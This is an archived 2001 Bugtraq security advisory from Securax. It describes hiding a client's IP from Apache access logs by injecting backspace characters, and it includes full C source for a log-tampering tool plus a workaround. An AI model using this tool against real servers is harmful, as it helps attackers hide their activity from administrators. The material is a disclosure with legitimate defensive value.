From incubus@SECURAX.ORG Tue Jan 2 13:30:16 2001 From: incubus To: BUGTRAQ@SECURITYFOCUS.COM Date: Mon, 1 Jan 2001 15:51:38 +0100 Subject: [BUGTRAQ] Securax Advisory 12 [The following text is in the "iso-8859-1" character set] [Your display is set for the "US-ASCII" character set] [Some characters may be displayed incorrectly] ============================================================================ = Securax-SA-12 Security Advisory Dutch ============================================================================ = Topic: Remote hiding from access_log and error_log Announced: 2000-12-28 Affects: Logfile auditing with tools that print the contents of the file to the screen. ============================================================================ = Note: This entire advisory has been based upon trial and error results. We can not ensure the information below is 100% correct. This document is subject to change without prior notice. If you happen to find more information, solutions, ... about the below problem or further varients please contact me on the following email, or you can contact the Securax crew by e-mail at I. Problem Description ----------------------- When the backspace charachter is sent, after a NULL terminated request, we will get a answer, the page we requested, but our entry in the access_log file is kinda altered. We can overwrite our IP address when someone wantsto cat the logfile to the screen or maybe also to a device (such as: /dev/lp0), althougt.. this cat to 'devices' thing is not tested by me, but will someone ever print his entire access_log? I don't think so. So, this can only be done when some site administrator is checking his logs with 'cat' or 'tail' or such, which is often used in addition with grep. Example ------- 1.) [incubus:~]$ nc 80 GET /index.php HTTP/1.0 ... content (output) of index.php ... [incubus:~]$ 2.) [incubus:~]$ ./localghost index.php ... content (output) of index.php ... [incubus:~]$ Hmm.. not very interesting eh? Well, let's take a look at the webserver's side: 1.) [root@test logs]# tail -n 1 access_log - - [27/Dec/2000:04:42:26 +0100] "GET /index.php HTTP/1.0" 200 2362 /* is the IP of the attacker */ 2.) [root@test logs]# tail -n 1 access_log - - [31/Feb/1492:01:23:45 +3133] "GET /index.htm HTTP/1.1" 200 2362 Unfortunaltely, if you open access_log in any decent editor, it will notice the '\x08' chars ( \x08 == backspace), and display 'em as dots. If you want to display a fake ip address, you'll have to calculate the length of the entry in the log file. I suggest you keep the fake ipaddress as *real* as can be, because is more suspicious than, let's say II. Impact ---------- This is not really a vulnerability, but it can be used in cgi scanners or something, i don't know. This source was coded and compiled on a slack7 linux (2.2.17) box, and tested against a Apache 1.3.14 server. /* --| BOF |-- */ /* kosheen.c - hides you from logfiles ----------------------------------- "i'll hide you, away from danger"; -kosheen, 2000 This will display false values in a remote site's access_log and error_log. Read Securax Advisory #12 for more info. ( Got the title of this source from the radio, and guess what song they were playing. :) All my love to Tessa. Maximum respect to vorlon, cicero, root-dude, lamagra, f0bic, Zoa, zymo, sentinel, woshy, bob, suPC, uptx, and all great ppl i forgot... by: incubus */ #include #include #include #include #include int usage(char *progname); int main(int argc, char **argv){ int sock, i; char buf[4096]; /* change this value !! */ struct sockaddr_in sin; struct hostent *he; if (argc < 3) usage(argv[0]); if ((he=gethostbyname(argv[1])) == NULL){ fprintf(stderr, "Unknown host\n\n"); exit(1); } sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) herror("oops: "); sin.sin_family = AF_INET; sin.sin_addr = *((struct in_addr *)he->h_addr); sin.sin_port = htons(80); bzero(buf, sizeof(buf)); strncpy (buf,"GET /", 5); strcat (buf, argv[2]); /* okay.. overflow this buffer and get a errm.. crappy non-suid shell! :) So, don't mailbomb me this is overflowable */ strncat (buf," HTTP/1.0\x00", 14); for (i=0; i< 600; i++) strncat(buf,"\x08", 1); /* change the 600 if you are using quiet large url's */ /* Uncomment next line (and change) if you want a fake address displayed strcat (buf," - - [31/Feb/1492:01:23:45 +3133] \"GET /index.htm HTTP/1.1"); */ strncat (buf,"\r\n\r\n", 4); if (connect(sock,(struct sockaddr *) &sin ,sizeof(sin)) < 0){ herror("connect() failed\n"); exit(1); } send(sock, buf, sizeof(buf), 0); bzero(buf,sizeof(buf)); recv(sock, buf, sizeof(buf), 0); printf ("%s", buf); close(sock); } int usage(char *progname) { fprintf (stderr, "\nHmm.. Better use it like this: \n"); fprintf (stderr, "\t%s \n", progname); fprintf (stderr, "\tWhere: is the hostname.\n\t "); fprintf (stderr, " is the file you want.\n"); fprintf (stderr, " by incubus\n \n"); exit(1); } /* --| EOF |-- */ III. possible workarounds ------------------------- possible workarounds :: - Don't use 'cat' and 'tail' (and similars) for logfile checking, but a good editor. IV credits ---------- As mentioned in the .c file: Tessa, vorlon, cicero, zoa, F_F, rootdude, t-omicr0n, toshywoshy, segfault, f0bic, lamagra, steven, zymot1c, sentinel, [--bob--], alien, axxess, telar, prizm, {} and devilish. Also greets to the many, many people i forgot to mention. hmm.. kinda thanks to the people of kosheen for the name. :) incubus ( ============================================================================ For more information Website Advisories/Text --------------------------------------------------------------------------- -